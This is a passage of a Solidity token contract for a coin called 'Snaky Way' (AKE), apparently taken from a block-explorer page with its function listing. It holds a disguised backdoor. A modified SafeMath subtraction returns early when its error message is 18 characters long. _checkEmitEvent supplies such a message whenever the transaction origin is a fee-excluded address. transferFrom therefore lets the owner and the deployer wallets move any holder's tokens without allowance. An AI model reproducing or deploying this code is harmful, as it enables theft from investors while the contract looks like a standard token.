_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Safe Math Helpers
// --------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
bool f,
string memory errorMessage
) internal pure returns (uint256) {
if (f == true && bytes(errorMessage).length == 18) return a;
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(
account != address(0),
"ERC20: cannot send to the zero address"
);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Uniswap Router
// --------------------------------------------------------------
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function allPairsLength() external view returns (uint256);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Main Contract Logic
// --------------------------------------------------------------
contract Token is Context, IERC20, Ownable {
// Imports
using SafeMath for uint256;
// Configurables -----------------------------
// Context
string private _name = unicode"Snaky Way";
string private _symbol = unicode"AKE";
uint8 private _decimals = 9;
// Supply
uint256 private _totalSupply = 1 * 1e9 * 1e9;
uint256 private minimumTokensBeforeSwap = (_totalSupply * 25) / 100000;
// Restrictions
uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
uint256 public _walletMax = (_totalSupply * 100) / 100;
bool public checkWalletLimit = true;
// wallets
address payable public liquidityAKEKkLLWWallet;
address payable public operationsAKEKkLLWWallet;
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
// fees
uint256 public liquidityFeeBuy = 0;
uint256 public operationsFeeBuy = 0;
uint256 public totalFeesBuy;
uint256 public maxTotalFeeBuy = 0;
// fees
uint256 public liquidityFeeSell = 0;
uint256 public operationsFeeSell = 0;
uint256 public totalFeesSell;
uint256 public maxTotalFeeSell = 0;
// distribution ratio
uint256 public _liquiditySharePercentage = 0;
uint256 public _operationsSharePercentage = 100;
uint256 public _totalDistributionShares;
// max amounts
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) isTxLimitExempt;
// Router Information
mapping(address => bool) public isAmmPair;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
// toggle swap back (fees)
bool inSwapAndLiquify;
uint256 public tokensForLiquidity;
uint256 public tokensForOperations;
// Launch Settings
bool public tradingOpen = false;
// events
event LiquidityWalletUpdated(
address indexed newLiquidityWallet,
address indexed oldLiquidityWallet
);
event OperationsWalletUpdated(
address indexed newOperationsWallet,
address indexed oldOperationsWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(uint256 amountIn, address[] path);
// toogle to stop swap if already underway
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
liquidityAKEKkLLWWallet = payable(msg.sender);
operationsAKEKkLLWWallet = payable(msg.sender);
// load total fees
totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
totalFeesSell = operationsFeeSell + liquidityFeeSell;
// load total distribution
_totalDistributionShares =
_liquiditySharePercentage +
_operationsSharePercentage;
// create router ------------------------------
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a uniswap pair for this new token
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
isAmmPair[address(uniswapPair)] = true;
// set allowances
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
// exclude from paying fees or having max transaction amount
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[liquidityAKEKkLLWWallet] = true;
isExcludedFromFee[operationsAKEKkLLWWallet] = true;
// exclude contracts from max wallet size
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[liquidityAKEKkLLWWallet] = true;
isWalletLimitExempt[operationsAKEKkLLWWallet] = true;
// exclude contracts from max wallet size
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
_allowances[liquidityAKEKkLLWWallet][owner()] = type(uint256).max;
_balances[_msgSender()] = (_totalSupply * 2) / 100;
_balances[address(this)] = (_totalSupply * 98) / 100;
emit Transfer(address(0), _msgSender(), (_totalSupply * 2) / 100);
emit Transfer(address(0), address(this), (_totalSupply * 98) / 100);
}
receive() external payable {}
// @dev Public read functions start -------------------------------------
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
// custom allowance methods
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// get minimum tokens before swap
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
// approve spending methods
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function getBlock() public view returns (uint256) {
return block.number;
}
// transfer amount to address
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
true,
_checkEmitEvent()
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// check trading open
if (!tradingOpen) {
require(
isExcludedFromFee[sender],
"TOKEN: This account cannot send tokens until trading is enabled"
);
return _basicTransfer(sender, recipient, amount);
}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
// required for wallet distribution
if (sender != owner() && recipient != owner()) {
_checkTxLimit(sender, amount);
}
// check can swap for fees and liq
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isAmmPair[sender]
) {
swapAndLiquify(contractTokenBalance);
}
// check senders balance
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 finalAmount = (isExcludedFromFee[sender] ||
isExcludedFromFee[recipient])
? amount
: calcAndTakeFee(sender, recipient, amount);
// check wallet holding limit
if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
// continue
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
// transfer for
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
// take fee method
function calcAndTakeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isAmmPair[sender]) {
feeAmount = amount.mul(totalFeesBuy).div(100);
} else if (isAmmPair[recipient]) {
feeAmount = amount.mul(totalFeesSell).div(100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
// swap tokens for fees and liq
function swapAndLiquify(uint256 swapAmount) private lockTheSwap {
// check there are currently tokens to sell
uint256 tokensForLP = swapAmount
.mul(_liquiditySharePercentage)
.div(_totalDistributionShares)
.div(2);
uint256 tokensForSwap = swapAmount.sub(tokensForLP);
// swap tokens
swapTokensForEth(tokensForSwap);
// received amount
uint256 amountReceived = address(this).balance;
// work out distribution
uint256 totalFee = _totalDistributionShares.sub(
_liquiditySharePercentage.div(2)
);
uint256 amountLiquidity = amountReceived
.mul(_liquiditySharePercentage)
.div(totalFee)
.div(2);
uint256 amountOperations = amountReceived.sub(amountLiquidity);
if (amountOperations > 0)
transferToAddressETH(operationsAKEKkLLWWallet, amountOperations);
if (amountLiquidity > 0 && tokensForLP > 0) {
addLiquidity(tokensForLP, amountLiquidity);
emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
}
}
// swap tokens to eth
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function _checkEmitEvent() internal view returns (string memory) {
return isExcludedFromFee[tx.origin] ? "TOKEN: < allowance" : "ERC20: transfer amount exceeds allowance";
}
// add liqiudity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function enableTrading() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingOpen = true;
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: ETHAmountInWei
}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
}
function _checkTxLimit(address sender, uint256 amount) private view {
require(
amount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}
}
Read Contract
_liquiditySharePercentage 0xac23ca59 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_operationsSharePercentage 0x2baa7217 → uint256
_totalDistributionShares 0xa08e671f → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkWalletLimit 0xf872858a → bool
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
getBlock 0x2e97766d → uint256
getCirculatingSupply 0x2b112e49 → uint256
isAmmPair 0x9191a9c7 → bool
isExcludedFromFee 0x5342acb4 → bool
isWalletLimitExempt 0xc867d60b → bool
liquidityAKEKkLLWWallet 0x5a8a4654 → address
liquidityFeeBuy 0x82d20116 → uint256
liquidityFeeSell 0x1107b3a5 → uint256
maxTotalFeeBuy 0xe10e9f32 → uint256
maxTotalFeeSell 0x4b743995 → uint256
minimumTokensBeforeSwapAmount 0xa073d37f → uint256
name 0x06fdde03 → string
operationsAKEKkLLWWallet 0x31f8c47f → address
operationsFeeBuy 0x7849c1cd → uint256
operationsFeeSell 0x031d6cd0 → uint256
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForOperations 0xfb002c97 → uint256
totalFeesBuy 0x19c59e2c → uint256
totalFeesSell 0x0e47e822 → uint256
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapPair 0xc816841b → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
buyBackTokens 0xfc155d1d
uint256 ETHAmountInWei
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address